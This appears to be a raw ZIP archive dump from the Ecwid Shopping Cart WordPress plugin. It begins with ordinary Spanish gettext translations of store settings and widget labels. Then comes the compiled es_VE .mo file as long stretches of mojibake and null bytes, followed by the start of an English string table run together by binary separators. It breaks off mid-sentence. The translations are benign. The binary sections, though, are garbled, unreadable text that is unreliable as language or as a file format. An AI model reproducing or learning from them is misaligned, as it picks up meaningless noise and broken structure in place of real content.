templates/store-popup.php:226 msgid "Grid" msgstr "Cuadrícula" #: templates/store-popup.php:204 msgid "Default view mode on product pages" msgstr "Modo de vista predeterminado en las páginas de productos" #: templates/store-popup.php:184 msgid "Here you can control how many products will be displayed per page. These options define maximum values. If there is not enough space to show all product columns, %s will adapt the number of columns to hold all products." msgstr "Aquí puede gestionar cuántos productos se mostrarán por página. Estas opciones definen valores máximos. Si no hay suficiente espacio para mostrar todas las columnas de productos, %s adaptará el número de columnas para mantener todos los productos." #: templates/store-popup.php:169 msgid "Table view" msgstr "Vista de tabla" #: templates/store-popup.php:152 msgid "List view" msgstr "Vista de lista" #: templates/store-popup.php:125 msgid "Grid view" msgstr "Vista de cuadrícula" #: templates/store-popup.php:123 msgid "Number of products per page" msgstr "Número de productos por página" #: templates/store-popup.php:191 msgid "Number of categories per row" msgstr "Número de categorías por fila" #: templates/advanced-settings.php:98 msgid "Save changes" msgstr "Guardar cambios" #: includes/class-ecwid-product-browser.php:202 msgid "Default category ID" msgstr "ID de categoría predeterminada" #: templates/store-popup.php:98 #: includes/integrations/elementor/class-ec-elementor-widget-store.php:127 #: includes/integrations/class-ecwid-integration-gutenberg.php:427 #: includes/integrations/class-ecwid-integration-wpbakery-composer.php:56 #: includes/gutenberg/class-ecwid-gutenberg-block-store.php:248 msgid "Store root category" msgstr "Categoría raíz de la tienda" #: templates/store-popup.php:90 #: includes/integrations/class-ecwid-integration-wpbakery-composer.php:101 msgid "Category shown by default" msgstr "Categoría mostrada por defecto" #: templates/admin-message.php:47 msgid "Never show this message again" msgstr "Nunca mostrar este mensaje otra vez" #: templates/product-popup.php:194 lib/ecwid_platform.php:209 #: js/gutenberg/blocks.build.js:1 msgid "Price" msgstr "Precio" #: includes/class-ecwid-store-editor.php:75 #: includes/integrations/class-ecwid-integration-gutenberg.php:102 #: includes/gutenberg/class-ecwid-gutenberg.php:128 msgid "Edit Appearance" msgstr "Editar apariencia" #: includes/class-ecwid-store-editor.php:60 msgid "Edit Store" msgstr "Editar tienda" #: templates/store-popup.php:11 templates/store-popup.php:21 #: includes/class-ecwid-store-editor.php:52 msgid "Add Store" msgstr "Añadir tienda" #: includes/class-ecwid-message-manager.php:261 msgid "Back to Store Settings" msgstr "Regresar a la configuración de la tienda" #: includes/class-ecwid-message-manager.php:252 msgid "Your store is almost ready!" msgstr "¡Su tienda ya está casi lista!" #: includes/class-ecwid-message-manager.php:243 msgid "Take a few simple steps to complete store setup" msgstr "Siga unos sencillos pasos para completar la configuración de la tienda" #: includes/widgets/class-ecwid-widget-products-base.php:205 msgid "Number of products to show" msgstr "Número de productos para mostrar" #: includes/widgets/class-ecwid-widget-recently-viewed.php:89 msgid "Store Link Title" msgstr "Título del enlace de la tienda" #: templates/product-popup.php:183 includes/class-ecwid-product-browser.php:249 #: includes/widgets/class-ecwid-widget-products-base.php:199 #: js/gutenberg/blocks.build.js:1 msgid "Title" msgstr "Título" #: includes/widgets/class-ecwid-widget-recently-viewed.php:69 #: includes/widgets/class-ecwid-widget-recently-viewed.php:91 msgid "You have not viewed any product yet. Open store." msgstr "Aún no ha visto ningún producto. Abra la tienda." #: includes/widgets/class-ecwid-widget-recently-viewed.php:11 msgid "Recently Viewed Products" msgstr "Productos vistos recientemente" #: includes/widgets/class-ecwid-widget-recently-viewed.php:12 msgid "Displays a list of products recently viewed by the customer to easily return to the products they saw in your shop." msgstr "Muestra una lista de productos vistos recientemente por el cliente para volver fácilmente a los productos que vieron en su tienda." #: includes/widgets/class-ecwid-widget-store-link.php:35 msgid "Text" msgstr "Texto" #: includes/themes/class-ecwid-theme-twentyseventeen.php:48 #: includes/themes/class-ecwid-theme-twentyseventeen.php:54 #: includes/themes/class-ecwid-theme-twentyfifteen.php:34 #: includes/themes/class-ecwid-theme-twentyfifteen.php:40 #: includes/themes/class-ecwid-theme-twentysixteen.php:36 #: includes/themes/class-ecwid-theme-twentysixteen.php:42 #: includes/widgets/class-ecwid-widget-store-link.php:31 msgid "Shop" msgstr "Tienda" #: includes/widgets/class-ecwid-widget-store-link.php:10 msgid "Store Page Link" msgstr "Enlace a la página de la tienda" #: includes/widgets/class-ecwid-widget-store-link.php:9 msgid "Displays a link to the store page in sidebar for customer to quickly access your store from any page on the site." msgstr "Muestra un enlace a la página de la tienda en la barra lateral para que el cliente acceda rápidamente a su tienda desde cualquier página del sitio web." #: includes/widgets/class-ecwid-widget-vcategories.php:9 msgid "Store Categories" msgstr "Categorías de la tienda" #: includes/widgets/class-ecwid-widget-vcategories.php:8 msgid "Adds vertical categories block to let the customer navigate your store." msgstr "Añade un bloque de categorías verticales para permitir que el cliente navegue por su tienda." #: includes/class-ecwid-nav-menus.php:344 #: includes/class-ecwid-nav-menus.php:347 #: includes/widgets/class-ecwid-widget-search.php:13 msgid "Product Search" msgstr "Búsqueda de productos" #: includes/widgets/class-ecwid-widget-search.php:12 msgid "Displays a simple search box for your customers to find a product in your store" msgstr "Muestra un cuadro de búsqueda simple para que sus clientes encuentren un producto en su tienda." #: includes/widgets/class-ecwid-widget-minicart-miniview.php:8 msgid "Adds a compact cart widget for customer to see the products they added to the cart." msgstr "Añade un «widget» de carrito compacto para que el cliente vea los productos que se han añadido al carrito." #: includes/widgets/class-ecwid-widget-minicart.php:41 #: includes/widgets/class-ecwid-widget-random-product.php:67 #: includes/widgets/class-ecwid-widget-search.php:46 #: includes/widgets/nsf-minicart-editor.tpl.php:50 #: includes/widgets/class-ecwid-widget-minicart-miniview.php:41 #: includes/widgets/class-ecwid-widget-vcategories.php:39 #: includes/widgets/class-ecwid-widget-vertical-categories-list.php:76 msgid "Title:" msgstr "Título:" #: includes/class-ecwid-nav-menus.php:338 #: includes/widgets/class-ecwid-widget-nsf-minicart.php:20 msgid "Shopping Cart" msgstr "Carrito de compras" #: includes/widgets/class-ecwid-widget-minicart.php:8 #: includes/widgets/class-ecwid-widget-nsf-minicart.php:19 msgid "Adds a cart widget for customer to see the products they added to the cart." msgstr "Añade un «widget» de carrito para que el cliente vea los productos que se han añadido al carrito." #: includes/widgets/class-ecwid-widget-badge.php:51 #: includes/widgets/class-ecwid-widget-badge.php:63 msgid "Ecwid e-commerce widgets" msgstr "«Widget» de comercio electrónico de Ecwid" #: includes/widgets/class-ecwid-widget-badge.php:45 #: includes/widgets/class-ecwid-widget-badge.php:57 msgid "Ecwid shopping cart" msgstr "Carrito de compras de Ecwid" #: includes/widgets/class-ecwid-widget-badge.php:39 #: includes/widgets/class-ecwid-widget-badge.php:75 msgid "Ecwid free shopping cart" msgstr "Carrito de compras gratuito de Ecwid" #: includes/widgets/class-ecwid-widget-badge.php:33 #: includes/widgets/class-ecwid-widget-badge.php:69 msgid "Ecwid ecommerce solution" msgstr "Solución de comercio electrónico de Ecwid" #: includes/widgets/class-ecwid-widget-badge.php:21 #: includes/widgets/class-ecwid-widget-badge.php:27 msgid "Ecwid shopping cart widget" msgstr "«Widget» de carrito de compras de Ecwid" #: includes/widgets/class-ecwid-widget-badge.php:14 msgid "Ecwid Badge" msgstr "Distintivo de Ecwid" #: includes/widgets/class-ecwid-widget-badge.php:13 msgid "Do you like Ecwid and want to help it grow? You can add this fancy 'Powered by Ecwid' badge on your site to show your visitors that you're a proud user of Ecwid." msgstr "¿Le gusta Ecwid y quiere ayudarlo a crecer? Puede añadir este elegante distintivo «Powered by Ecwid» en su sitio web para mostrarles a sus visitantes que es un usuario orgulloso de Ecwid." #: ecwid-shopping-cart.php:2791 msgid "Recommendations for Your Online Store" msgstr "Recomendaciones para su tienda en línea" #: includes/class-ecwid-admin.php:528 #: includes/integrations/class-ecwid-integration-wpbakery-composer.php:77 #: includes/integrations/class-ecwid-integration-wpbakery-composer.php:87 #: includes/integrations/class-ecwid-integration-wpbakery-composer.php:95 #: includes/integrations/class-ecwid-integration-wpbakery-composer.php:103 #: ecwid-shopping-cart.php:2056 msgid "Settings" msgstr "Configuraciones" #: includes/class-ecwid-admin.php:165 msgid "Advanced" msgstr "Avanzado" #: includes/class-ecwid-admin.php:164 msgid "Advanced settings" msgstr "Configuraciones avanzadas" #: templates/product-popup.php:206 templates/store-popup.php:14 #: templates/store-popup.php:34 #: includes/integrations/elementor/class-ec-elementor-widget-buynow.php:44 #: includes/integrations/elementor/class-ec-elementor-widget-store.php:78 #: js/gutenberg/blocks.build.js:1 msgid "Appearance" msgstr "Apariencia" #: includes/class-ecwid-admin.php:28 includes/class-ecwid-admin.php:59 #: includes/class-ecwid-admin.php:459 ecwid-shopping-cart.php:2110 msgid "Dashboard" msgstr "Panel" #: includes/class-ecwid-admin.php:57 ecwid-shopping-cart.php:2056 msgid "Setup" msgstr "Configuración" #: includes/class-ecwid-admin.php:47 msgid "%s shopping cart settings" msgstr "Configuraciones del carrito de compras de %s" #: includes/class-ecwid-nav-menus.php:132 #: includes/class-ecwid-nav-menus.php:361 #: includes/class-ecwid-nav-menus.php:364 #: includes/class-ecwid-nav-menus.php:372 includes/class-ecwid-admin.php:206 #: includes/class-ecwid-admin.php:207 includes/class-ecwid-admin.php:220 #: includes/class-ecwid-admin.php:221 #: includes/integrations/elementor/class-ec-elementor-widget-store.php:63 #: includes/class-ecwid-admin-storefront-page.php:257 #: ecwid-shopping-cart.php:1657 msgid "Store" msgstr "Tienda" #: ecwid-shopping-cart.php:1306 msgid "<a %s>Online store powered by %s</a>" msgstr "<a %s>Tienda en línea con tecnología de %s</a>" #: includes/class-ecwid-admin.php:489 msgid "Sell on Facebook" msgstr "Vender en Facebook" #: templates/admin/simple-dashboard.php:48 ecwid-shopping-cart.php:1094 msgid "Visit storefront" msgstr "Visitar escaparate virtual" PK������Ê—[ÃÔ³$$*�$*�:��ecwid-shopping-cart/languages/ecwid-shopping-cart-es_VE.monu�„[µü¤��������Þ•����e�����D��5��l&������@3�����A3��H���Y3�����¢3�����³3�����¶3�����¾3�����Ï3�� ���Ø3��.���æ3�� ���4�� ��� 4�����,4�����J4�����e4��ç��4�����g6��B���€6�����Ã6�����à6�����þ6�����7��$���97�����^7�����r7�����‹7��Ñ��� 7��/���r8�� ���¢8�� ���®8�����¸8�����Ï8�����ã8�����ö8�����9��#���%9�� ���I9�����T9�����o9�����~9�� ���ž9�� ���¿9��>���Ë9��"��� :��·���-:�����å:��k���ü:��K���h;��S���´;��A���<��R���J<��G���<��4���å<�� ���=�����&=�����/=��&���A=�����h=��T���{=�� ���Ð=�����Û=�����à=�����÷=�����>�����>�����#>�� ���*>�����8>�����?>�� ���G>�� ���S>�� ���`>�����l>�����>��4���”>�� ���É>�����Ö>�����Þ>�����í>��X���ý>�� ���V?�����`?��/���g?��,���—?�����Ä?�����Ë?�����Ð?�� ���â?�� ���ì?�����÷?�� ���ÿ?����� @�����@�����,@�����A@�����[@�����{@�����“@�����š@�����±@�����¸@�����Í@�����Ü@��.���ë@�����A�����5A��D���LA�����‘A����� A�� ���¯A�� ���ÐA�����ÞA�����ïA�����÷A����� B����� B��x���3B�����¬B�� ���¼B�����ÇB�� ���ÏB�����ðB�����C�����C�����*C�� ���=C�����JC��5���\C��h���’C��¤���ûC����� D�� ���³D�� ���ÀD��5���ÍD�����E�� ���E��x���%E��i���žE�����F�����F�����4F�����QF�����bF�����äF�� ���õF�����ÿF�����G�����$G��"���7G��#���ZG��/���~G�� ���®G�� ���¹G�����ÄG�����ËG�����ÞG�����óG�����H�����H�����-H�����?H��!���WH�����yH�����H��6���£H��!���ÚH�����üH��*���I��%���:I�����`I��'���vI�����žI�����³I��,���ÈI�����õI��q���J��s���yJ��#���íJ��H���K��O���ZK��1���ªK��s���ÜK�� ���PL��¡���\L��v���þL�����uM��$���zM�����ŸM�����±M�����·M�� ���ÓM�����ßM�����ïM����� N��s���N�����‘N�����ªN�����ÃN��=��ÜN��‰���P����¤P����¼Q�����ÜR�����ðR����� S�����S�� ��� S�� ���.S�� ���;S�� ���FS�� ���TS��œ���^S��¢���ûS�����žT�����²T�����ÌT��B���æT��$���)U�����NU�����VU�����mU�� ���€U�����‹U�����¦U�� ���¸U�����ÄU�� ���ÛU��(���æU�����V�� ���V�����V��±���#V��.���ÕV��Û���W��D���àW��h���%X�����ŽX��_���“X��C���óX�����7Y�����IY��/���_Y��/���Y�����¿Y��/���ÔY��(���Z�����-Z��9���GZ��I���Z��2���ËZ��"���þZ��:���![�����\[��"���t[��!���—[�����¹[�����Ø[�����Ý[�����ñ[��$��� \��*���1\��B���\\�����Ÿ\�� ���½\�����È\�� ���Ý\�����è\��+���ï\�����]��-���,]��P���Z]�����«]��#���Á]��'���å]��)��� ^�� ���7^�����X^��%���g^��+���^��+���¹^�����å^�����_�����_�����!_�� ���2_��$���?_��9���d_��%���ž_��:���Ä_�����ÿ_�����`�����`�����&`�����(`�� ���=`�� ���K`�� ���Y`�� ���c`�����o`�����`�����†`�� ���Ž`�����™`�����ž`�� ���¯`�����º`�����É`�� ���Î`��–���Ø`�����oa�����„a�����ša��S���œa�����ða��'���ÿa��[���'b�� ���ƒb�����b�� ���¢b�����¬b�� ���³b�� ���¾b�����Éb�����Òb�� ���×b��9���âb�����c�� ���:c�� ���Dc�� ���Nc�� ���Xc�����bc��Ò���wc��I���Jd�����”d�����±d�����Íd�� ���èd�� ���ôd�� ���e�����e�� ��� e�����-e�����@e�����Ue�����]e�����de��þ���je��å���if��#���Og�����sg�� ���‚g��ß���Œg�����lh�����th�� ���i�� ���i�����i�����%i��O��*i��4���zj�����¯j�� ���Áj�� ���Îj�����Ûj�����äj�� ���ìj�����új�� ����k����� k�����k�����'k�����:k�����Rk�� ���jk�����vk�����…k�����˜k�����³k��+���Ëk�����÷k�� ��� l�����l�����*l�����Bl�����al�� ���xl�����†l��I���l��'���Ùl�����m�����m�����$m�����=m�����Em��#���Xm�� ���|m�����†m�� ���m�����šm�����©m�����¹m��"���Òm�����õm��%���n�� ���4n�����>n�����Vn�����en�����…n�����n�����“n�����•n�����™n�����Ÿn�����®n��*���³n�� ���Þn�����ën�����òn�����o�����o�����/o�� ���8o�����Co�����So�����do�����vo�� ���‡o��"���”o�����·o�����Ëo�� ���Ýo�����êo�����üo�����p����� p�����p�� ���"p�����0p��#���Kp�����op�����‚p�����¢p�����·p�����¼p�����Ûp��V���ëp�� ���Bq�� ���cq�����qq�� ���ƒq�����‘q��&���¥q��(���Ìq�����õq�����r�� ���&r�����2r�� ���Br�� ��cr�� ���ns�����ys��(���“s��*���¼s��‡��çs�� ���ow�� ���zw�����‡w��•���Žw��.���$x�����Sx�����Yx�����jx�����€x�����”x�����¥x�����µx��Ü���¾x��ƒ���›y�����z�����0z�� ���Az�����Lz�����\z�����rz�����ƒz�����’z�����£z�����¶z�����Îz�����âz�� ���ýz�����{�����{�����${�����4{�����I{�� ���O{��/���Z{��N���Š{�����Ù{�� ���Þ{��4���é{��¨���|��=���Ç|��œ���}��-���¢}��Á���Ð}��%���’~��M���¸~�������P�����H���h��P���±�����€�����€�� ���€�� ���"€�����/€�����A€��’���H€��©���Û€��®���…�� ��4‚��E��>ƒ��‰���„…��]���†��ñ���l†��%��^‡��*��„ˆ��*��¯‰��y���ÚŠ��>���T‹��¡���“‹��h���5Œ��L���žŒ�����ëŒ�� ���ôŒ�����þŒ����������,�����5�����<�����P�����l�����|����������Ÿ�����¯�����¿�����Ô�����ä�����õ�����Ž�� ���Ž��!��� Ž��j���BŽ��—���­Ž�����E��^���Å�����$�����,�����F�� ���V��‡���c�����ë�� ��ü��±���’��C��¹’��B��ý“��k���@•�����¬•��¨���­–��©���V—�� ����˜��0���!˜��^���R˜�����±˜��:���Ę��>���ÿ˜�����>™�����N™�����j™�� ���ƒ™��2���™��?���Ù��Ò���š�����Öš��’���òš�����…›��y���•›��A���œ�����Qœ�����oœ��€��Žœ��:���ž�����Jž�����_ž�� ���ž��"��� ž�����Þ��"���ßž��H���Ÿ��)���KŸ�����uŸ�����Ÿ��&���°Ÿ��(���ן������ ����� �����  �����4 ��Ü��G �����$¢��e���:¢��'��� ¢�����È¢�� ���Ë¢�����Ö¢�� ���ï¢�����ü¢��5���£�� ���M£�� ���Y£�����f£�����„£��,���Ÿ£��Š��Ì£�����W¦��B���v¦��!���¹¦�����Û¦��!���û¦�����§��0���=§�����n§�����Ч�����£§����¹§��*���½¨�����è¨�����ù¨��(���©��!���1©�����S©��*���p©�����›©��+���¹©�� ���å©��!���ó©�����ª��6���)ª��1���`ª�����’ª��C���£ª��/���çª��ø���«��!���¬�����2¬��e���À¬��n���&­��Z���•­��o���ð­��^���`®��R���¿®�����¯�����,¯�����5¯��5���O¯�����…¯��h��� ¯�� ��� °�� ���°��!���!°��)���C°�����m°�����}°�����ƒ°�����‰°�����ž°�����¤°�����«°�����À°�� ���Ó°�����à°�����þ°��:���±�����O±�� ���`±�����n±�����‡±��`���¤±�� ���²�� ���²��=���²��9���W²�����‘²�����š²�����¢²�����±²�����β�� ���á²�� ���ë²�� ���÷²��%���³��!���(³�����J³��5���j³��(��� ³�����ɳ��%���Ò³�����ø³��!����´�����"´�����2´��C���B´��(���†´�����¯´��g���Ï´�����7µ�����Qµ��.���jµ�����™µ�����¨µ�����·µ�����Àµ�����Òµ�����êµ��¢���üµ��%���Ÿ¶��!���Ŷ�� ���ç¶��!���ñ¶�����·�����-·�����J·�����e·�� ���€·�����·��8���«·��j���ä·��´���O¸�����¹�� ���¹�����(¹��I���7¹��$���¹�����¦¹�����¯¹��x���@º�����¹º��'���Ѻ��5���ùº�����/»��œ���G»�����ä»�����ö»�����ü»�����¼�����6¼��9���U¼��;���¼��0���˼�����ü¼�����½�����,½�����4½�����H½�����b½�����u½�����‘½�����¦½�����À½��2���à½��!���¾��#���5¾��I���Y¾��+���£¾�����Ͼ��6���î¾��/���%¿�����U¿��2���s¿��&���¦¿�����Í¿��E���ì¿�����2À��š���DÀ��ƒ���ßÀ��*���cÁ��P���ŽÁ��`���ßÁ��:���@Â�����{Â�� ��� Ã��¿���Ã��€���ÔÃ�����UÄ��3���[Ä�����Ä�����­Ä��'���¶Ä�����ÞÄ�����òÄ��5���Å�����DÅ��’���`Å��,���óÅ��+��� Æ��$���LÆ��t��qÆ��¤���æÇ��A��‹È��h��ÍÉ�����6Ë��)���RË�����|Ë�����ƒË�����•Ë�����§Ë�� ���·Ë��$���ÅË�����êË��Å���ùË��Ç���¿Ì�����‡Í��$���¥Í�����ÊÍ��Y���åÍ��*���?Î�����jÎ�����rÎ�����‘Î�����®Î�����¾Î��%���ÓÎ�����ùÎ����� Ï�� ���$Ï��4���/Ï�� ���dÏ�����pÏ�����…Ï��ø���‹Ï��;���„Ð��þ���ÀÐ��D���¿Ñ��g���Ò�����lÒ��p���tÒ��Q���åÒ�����7Ó�����KÓ��]���cÓ��>���ÁÓ������Ô��D���Ô��1���_Ô�����‘Ô��I���©Ô��g���óÔ��/���[Õ��$���‹Õ��7���°Õ�����èÕ��0���Ö��%���8Ö��"���^Ö�����Ö�����‡Ö��%���£Ö��/���ÉÖ��7���ùÖ��@���1×��.���r×�����¡×��#���±×�� ���Õ×�����á×��)���ê×�����Ø��>���,Ø��h���kØ��!���ÔØ��%���öØ��1���Ù��3���NÙ��'���‚Ù�����ªÙ��(���ÅÙ��)���îÙ��)���Ú�����BÚ�����aÚ�����€Ú�����‰Ú����� Ú��-���·Ú��E���åÚ��-���+Û��8���YÛ�����’Û�� ���®Û�����ºÛ�����ÏÛ�� ���ÑÛ�����òÛ�����Ü�����Ü����� Ü�����7Ü�����JÜ�����RÜ�����[Ü�� ���mÜ�����wÜ�����ˆÜ�����™Ü�����¬Ü�����²Ü��»���ÁÜ�����}Ý�����˜Ý�����´Ý��s���¶Ý�����*Þ��/���EÞ��q���uÞ�����çÞ�����ûÞ�� ���ß�����&ß�� ���-ß�� ���7ß�� ���Aß�����Lß�� ���Sß��A���_ß��#���¡ß�����Åß�����×ß�� ���éß�� ���õß�����ÿß��)��à��c���Há�����¬á�� ���Ìá��!���íá�����â�� ���â�����+â��#���<â�����`â�����qâ�����‹â�����§â�����°â�����¸â��I��½â��ú���ä��%���å�����(å�� ���:å��×���Gå�����æ��¢���$æ�����Çæ�����Ýæ�����ðæ�����÷æ��•���ç��9���–è�����Ðè�� ���èè�� ���õè�� ���é�� ��� é�����é�����*é�����1é�����Bé�����Ké�����fé��#���é��%���¥é�����Ëé�����Üé�� ���óé�� ���ê��+���5ê��7���aê��"���™ê�����¼ê�����Ðê��*���æê��1���ë��$���Cë�����hë�� ���}ë��a���‡ë��0���éë�����ì�����/ì�����?ì�����^ì�� ���gì��4���ˆì�� ���½ì�����Çì�����Ðì�����éì�����üì�����í��5���-í�����cí��(���‚í�� ���«í��"���·í�����Úí��"���ìí�����î�����î����� î�����"î�����&î�����-î�����>î��-���Fî�����tî�����„î�����‹î�����Ÿî��"���°î�����Óî�����Üî�����íî�����ï�����ï�����2ï�����Eï��0���Tï��&���…ï�����¬ï�����Àï�����×ï�����ëï�����ûï����� ð�����ð�����#ð��"���6ð��+���Yð�����…ð��/���¢ð��!���Òð�����ôð��+���üð�����(ñ��ˆ���<ñ��(���Åñ�����îñ�����ò����� ò��$���;ò��8���`ò��8���™ò��)���Òò��#���üò����� ó�����2ó��)���Nó��M��xó�����Æô��$���Õô��2���úô��L���-õ��,��zõ�� ���§ù�����´ù�����Ìù��½���Óù��?���‘ú�����Ñú�����Øú��!���ñú��#���û�����7û�����Vû�����uû����…û��™���™ü�����3ý�����Sý�����lý�� ���ý�����¢ý�����Áý�����Ùý�����ðý��$���þ��$���+þ�����Pþ�����nþ�����Žþ�����¡þ�����¨þ�����¼þ�����Ðþ�����æþ�����ìþ��G���ûþ��W���Cÿ�����›ÿ�����¡ÿ��8���±ÿ��©���êÿ��Y���”��‹���î��:���z�×���µ�'����_���µ�����X���&�^����U���Þ����4����<� ���Q� ���^����l����ˆ�»���‘�Ã���M�Ç����#��Ù�­��ý�‘���« �u���= ���³ �@��Æ �@���U��H�›���ž�P���:�®���‹�~���:�a���¹��������1����E����]����v� ���”����Ÿ�$���¶����Û����í� ���� ��������,���6����c��������š����¬� ���¿�#���Ì�œ���ð�š����…���(�]���®� ��� ��������0� ���I�¹���W�����V��&�×���}�‘��U�`��ç�‘���H�+��Ú�Ô����É���Û�'���¥ �2���Í �^����!����_!�A���v!�G���¸!�����"����"�$���6"� ���["�8���g"�;��� "�5��Ü"� ���$�¯���3$����ã$�¡���û$�R���%����ð%���� &�Û��-&�[��� (����e(� ���}(����‡(�"���Ž(����±(�"���Í(�H���ð(�)���9)����c)�(���~)����§)����¸)����Ì)����á)����÷)����*��������I��������������“��k������R��W��y����$��%���Ü�������������í���������í��‚���þ�������±��#��Æ���y���R��#������¸��J���Z��À�������?���B��^��>��ã���Ý��¯������������������ ��� ��3����1��–���U������>�����Ç��K��q��š�������¸�����³��á���Ø���-�������Ð����������—����v���8������:���/���´���g��d���Í��������������S��?��¨��È������ò����������¢���'��Þ�������,�������Ê�����j��Z������§��P��º�������W���Ã������Å���S��Ï�������]����������T������¿���Ñ�� �������6���®������ú���”�������r����������¹���c��9������¿��é��,��Ò�������¥���������k�����������£���%��������������É��â���������Ú������½�����������Ë���L���"�������a��ß��á��ü��ª��W��t����Â���������Þ������}��.��õ��÷�� ��$������K������G��û���×��ú��~���������������0������w�������Ò�����E��¨���ï���7���Õ����������������������‰���Q��Ž������F��ª�����������¤���¾��:��\���Ï��������������O�����X��'��*��3������1������ ��������Ñ�������’���»���u���������É���9��ô���E���ˆ��©������C��������������������‡���������?������8��a��_���b�������L������@��&������*��I��C���J��™���Y���«������D������ƒ������$���£������;��F��Î�������N���Ã���G������'���©�������Ä���¦��0�����@�����^���…���ë��c���ž��������Ç������u��ý��>��:����å����.���â���†���þ��M��j���[��S��PK������Ê—[!ÛÛ¡2¬�2¬�:��ecwid-shopping-cart/languages/ecwid-shopping-cart-es_VE.ponu�„[µü¤�����������&�����î���õ�������ð����%��Š�� ��c������h��X���A��������#�����������z�������3�����(������������������³���û������’��������������Î�����Q��������e��������ù���À��-��������™��i���¬���Ö���D��œ��p�� �����!�������Œ�������(����������…��X��5��°��7��ó���µ��î��=�����������ß���;������N������¶���P����¹��������������T�����������²���\������Z���º��–�����������������&����� ������€��� ���`���”��ç��|��ó��«�������`��ä���¡�������<�������Œ��e���+�������A���‡��=������Ù��ø������¾���§���¥��)���‚����Q��Í���ì���Ô��Â���Ý���Ë��˜��‹��è��f��!��ë��� ���b��a���M��{�������<��7�����‘���¼�������������¯���Û�������ï������H��Ù���Ì���6��O��s���`����������9��Ÿ���*�������Æ��-��}���"�����æ��¤��r���à���œ���0������������ä��{������������������ö��������‰����������l��H����������v����d��/��­��� ��]���t���p�����2��ƒ���·������d��„������g���æ���U���‘������C��Ô���¶��w��­��×�����[���l�����������ü���Ø����������<��Ó��“���›�� ���o���1��� ����� ��è���V��f���¦���N�� ��E������Ÿ��•������������������Ó������� ��Ö��ø���������Û����������/������,��������~���������¼������������Ú��!������[��®��n�����������_��"��ò���(�������2���J��x��h���_��½�� ��ÿ���÷���o������M���‹���4��=��8���ÿ��ê�������2��Ð��� ��4�������Á��„���m�������Å��›�������²���������ì��5��n��I���;���•��)������6��L��V���������—���+��Ü��+��A��������������������š��Ê���Y��B��F������ �������)��Õ���é���m��i��ö���ý������5���^������|���z�������������È���´�����U����������x�����������\��ù��q���å���†������O���ô������Š���ç���V����������b��ð�������¡������������˜���ˆ�������¢��Á���ñ���Y�������������.��·���D������ã����������ê��B�������G��s��¬��Ì��µ�������R�����T��ñ��e���������� Choose another product� Thank you very much for contacting us! We will get back to you shortly.�"In stock" label�%s�%s Blog�%s Shopping Cart�%s Store�%s Store Page�%s plugin doesn't work well with my "%s" theme�%s product�%s products�%s products and %s categories�%s products and categories�%s shopping cart settings�%s stores your products data in a secure cloud storage. The product pages are displayed on the fly when a customer browses your store. So, basically, the products are not stored on the site, that's why the site search doesn't find product pages while looking through site pages and posts. This option enables a local storage mode: the products will be stored both in the cloud and on your site. The site search results will list product pages as well as regular pages/posts of your site.�%s — Advanced settings�(You will be able to confirm the changes before the actual import)�2 columns, image on the left�2 columns, image on the right�3 columns, image on the left�3 columns, image on the right�<a %s>Online store powered by %s</a>�<a %s>Reconnect</a>�<a href="admin.php?page=�<b>%s</b> categories�A slug is the last part of a URL. You can create a custom slug for your store page. It’s better to keep it short since customers and search engines prefer short URLs. For example, use "/shop" or "/products".�Action required: please connect your %s account�Add Product�Add Store�Add Store Page to Menu�Add a category page�Add a product page�Add a search and filters page�Add a store page�Add an Online Store to Your Website�Add border�Add cart and checkout page�Add categories�Add store page to the site menu�Add storefront (product listing)�Add to Menu�Add your %s store to the website and start selling in minutes.�Add your store to other site pages�Add your storefront to the website home page to make it more prominent. You can also tweak the site home page settings in <a href="%s" target="_blank">WordPress Settings > Reading</a>�Additional store pages�Additionally, you can add store controls to your website's toolbar using <a %s>WordPress native widgets</a>�Adds a cart widget for customer to see the products they added to the cart.�Adds a compact cart widget for customer to see the products they added to the cart.�Adds a shopping cart widget to the top right corner of your site.�Adds root categories list to the sidebar to let your customers navigate the store.�Adds vertical categories block to let the customer navigate your store.�Adjust your store design to fit your business needs.�Admin Label�Advanced�Advanced settings�After import, your %s store will have �All Sales Channels�Along with the store catalog, you can add other widgets and texts to the store page.�Appearance�Apps�Available qty in stock�Back to Store Settings�Background color�Bag�Basket�Before You Go�Border�Border:�Bottom left�Bottom right�Breadcrumbs�Browse all products.�Browse by Category�Bulk import products and categories to your %s store�Button color�Buy Now�Buy Now Button�Buy now buttons�By continuing, you agree to the <a %s>Terms of Service</a> and <a %s>Privacy Policy</a>.�CSS Class�CSS ID�Can you share the name of the plugin you chose?�Can you share your feedback? What was wrong?�Cancel�Cart�Cart and Checkout�Cart icon�Cart icon:�Catalog�Categories�Category�Category List Appearance�Category card layout�Category shown by default�Category thumbnail aspect ratio�Category thumbnail size�Center�Center align on a page�Change�Change store content�Choose Product�Choose product�Choose product properties to display in widget�Choose the main store page�Choose widgets to show�Click the connect button to get rights to update the product catalog�Color settings�Complete Setup�Complete setup and start selling�Configuration�Congratulations!�Connect�Connect Your Store�Connect your %s store�Connect your store�Connection error - after clicking button you need to login and provide permissions to use our plugin. Please, try again.�Contact Support�Contact us�Content�Copying products and categories.�Create Cart Page�Create Category Page�Create Product Page�Create Search Page�Create Store�Create Store Page�Create a landing page featuring one of your products.�Create a new %s account which you will use to manage your store and inventory. The registration is free.�Create a new store or connect an existing one, if you already have an %s account. The plugin will guide you through store setup and help publish it on your website.�Create new account�Create store�Current Page�Current URL slug: /<span data-ec-store-slug>%s</span>�Customer Single Sign-On�Customers�Customers can’t see your store page because it’s in draft. Publish the page to make it available for your customers.�Customers go to the cart page to review products they’ve added to the cart and proceed to the checkout.�Customize design�Customize store appearance�Customize store page address�Customize widget�Customize your store’s appearance to fit your business needs. Give your store the exact look and feel that reflects your brand.�Cyan bluish gray�Dashboard�Default category�Default category ID�Default product_ID�Default view mode on product pages�Default view mode on search results�Deleted products synchronized: %1$s out of %2$s�Demo Store�Demo store�Design�Design and content�Detect automatically�Disconnect store�Display a buy button�Display breadcrumbs�Display cart icon�Display categories menu�Display categories navigation bar�Display category page�Display footer menu�Display product page with description and a buy button�Display product with a buy button�Display search box�Display search page with filters on a side�Display shopping bag link and summary�Display shopping cart�Display shopping cart and checkout page�Display sign in link�Display sort by link�Display the shopping cart icon on site pages�Displayed product�Displays a link to the store page in sidebar for customer to quickly access your store from any page on the site.�Displays a list of products recently viewed by the customer to easily return to the products they saw in your shop.�Displays a list of random products.�Displays a random product from your store to attract customer attention.�Displays a simple search box for your customers to find a product in your store�Displays storefront: product listing and checkout�Displays the latest added products from your store. Show new products to returning customers to drive repeat sales.�Do not show�Do you like Ecwid and want to help it grow? You can add this fancy 'Powered by Ecwid' badge on your site to show your visitors that 